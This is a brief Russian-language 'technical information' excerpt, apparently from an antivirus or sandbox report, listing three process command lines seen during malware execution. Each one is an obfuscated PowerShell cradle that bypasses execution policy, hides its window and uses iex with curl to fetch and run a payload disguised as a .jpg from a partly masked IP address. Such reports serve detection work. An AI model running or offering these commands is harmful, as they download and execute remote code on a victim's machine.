Техническая информация
- '<SYSTEM32>\cmd.exe' /c POwErsheLL.Exe -eX BYpASS -NOp -w 1 iEX( CURl ('http://45.##3.203.54/Doc22A.j' + 'p' + 'g' ))
- '<SYSTEM32>\cmd.exe' /c POwErsheLL.Exe -eX BYpASS -NOp -w 1 iEX( CURl ('http://45.##3.203.54/Doc22A.j' + 'p' + 'g' ))' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -eX BYpASS -NOp -w 1 iEX( CURl ('http://45.##3.203.54/Doc22A.j' + 'p' + 'g' ))